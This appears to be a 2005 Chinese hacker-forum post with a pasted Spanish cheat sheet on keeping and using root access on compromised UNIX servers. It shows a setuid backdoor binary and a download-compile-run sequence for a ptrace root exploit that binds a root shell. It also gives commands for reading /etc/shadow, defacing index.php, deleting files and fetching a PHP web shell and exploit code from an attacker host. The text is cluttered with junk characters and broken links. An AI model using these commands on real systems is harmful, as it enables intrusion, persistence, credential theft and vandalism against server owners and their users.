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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
, z. D6 F, I5 W$ l0 h<>1.</P>
' z8 T/ {% f3 t<>[cnbird@localhost tmp]#id</P>- l, h1 T0 K2 ^+ v. T2 U4 U  |
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
. j. e! O5 [2 L5 ^! ^<>[cnbird@localhost tmp]#cp `which id ` .</P>
# J0 x7 T- \* G<>[cnbird@localhost tmp]#chown root ./id</P>
6 `, _! k8 d% ~<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
2 L1 g: r! ]5 G7 f4 o<>[cnbird@localhost tmp]#ls -l ./id</P>* e( j1 m+ v' D$ S( ?
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
4 O2 i/ J3 m# U4 J<>[cnbird@localhost tmp]#exit</P>7 z4 N- S, d3 k
<>[cnbird@localhost tmp]$id</P>
& q- m! o: H- z5 h. t$ I# o<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
' f1 P: b  |" `0 ~/ ^<>[cnbird@localhost tmp]$./id </P>; ]* B: w0 f7 W7 _# p! i
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>2 ~! y9 u4 {& I$ j/ ^! m9 C
<>2.利用ptrace成为root的方法</P>: u2 J# p7 x1 |2 C( ]9 J- U
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace4 S3 V% ]. d9 j, V- l1 L
-&gt; Parent's PID is 2313. Child's PID is 2314.$ ^7 h* I: ~8 r2 K. }; r( F5 Y/ u
-&gt; Attaching to 2315...' S; ?4 s. O: p" t0 ?% q- v
-&gt; Got the thread!!% R* t: E( U6 [5 V- q% m  I, Y2 S; m
-&gt; Waiting for the next signal...
9 z( O6 h1 w' T* G5 f+ v-&gt; Injecting shellcode at 0x4000e85d
3 H# Z7 u' j, F2 q( v& S" l-&gt; Bind root shell on port 24876... =p9 ?$ a6 j7 |: q! A, ^1 h
-&gt; Detached from modprobe thread.
* I# o. I" @, D) h3 u, H; x$ ?-&gt; Committing suicide.....</P>
0 h4 F/ k$ X2 p7 {<>[bash]# id
+ L% N% g, l: K# ~# q" }5 Yuid=0(root) gid=0(root) groups=0(root)</P># ?: J! P/ u$ f# w: o' }
<>ara ver los dominios que hay en el server:
* R6 }' p. Y0 X9 v- t- e+ E---------------------------------------------------------
3 C  e% q+ K7 T* q$ W4 @/ {: Ucat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios: q* f; a  f/ `
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
# U+ p, e& E! O: v0 u) T9 I, kcat /etc/localdomains &lt;&lt; Unicamente los dominios locales
3 ~% M" V& X9 y  Ycat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
+ z8 }( u9 k! ~cat /etc/userdomains &lt;&lt; Este es el mas comun
5 l% S- P; w  q* `! I$ x" p---------------------------------------------------------</P>$ M9 h( m7 p- Z2 R* a0 M0 O
<>ara ver la version de kernel:2 Z2 ?+ ]& K: y2 k+ a  i3 ]
---------------------------------------------------------5 L0 S( L0 P0 E7 ~9 Q
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
" q3 V# ?7 d2 \& p- @---------------------------------------------------------</P>+ Q4 a9 K/ e) P: @4 [& y  D! @+ R, A
<>ara modificar un index ya existente:, ]9 L; Q) P4 I. S0 S
---------------------------------------------------------4 l( |7 `( a5 Q- n+ m5 `0 j2 K% l
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido; E( E9 g) F6 E: H: u/ s
---------------------------------------------------------</P>
# o% |. {( e+ G2 T! E<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
4 B2 E. J2 Q( L2 D0 v3 E* `; C---------------------------------------------------------& C' u. ?! g5 a
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit' c, R6 u! w9 W5 p: G5 b+ k. M+ q* }
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
! o6 G+ O% x: q1 o! rcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"& `0 D4 p. E& x3 [0 n- A
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
* L, X+ H7 y' w: x% [! `( @# x, xHasta aqui termina el proceso para un exploit.
- d/ g! A9 X. R5 u' ^) u---------------------------------------------------------</P>
- q+ K* @( k+ Z: w7 Y' Z4 }<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
" T9 J) a( y5 q, Z8 W1 J/ A! s$ L---------------------------------------------------------6 ?( e: z8 x- s, |% R
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
8 I, I: |+ y9 W' w2 {, [  w, f) @4 _---------------------------------------------------------</P>
$ `5 u. ~4 Q) j3 @<>Borrar un Ficher
" X6 ^' m# \* |* E$ o1 }( s---------------------------------------------------------% e/ e+ e6 t. ]; a  w
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm, ^9 w" {# {4 F6 T; `
---------------------------------------------------------</P>1 H7 N, x% V( @0 ~7 v
<>Subir un ficher
/ V* e' g* ^$ \. i---------------------------------------------------------
, F. B7 o5 h" H" }9 Ecd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
) g% S  f6 C3 t* }$ U% |+ A# ^) c( B+ R<>
9 T- f! l' Q( E1 n* ?<CENTER></CENTER>
zan
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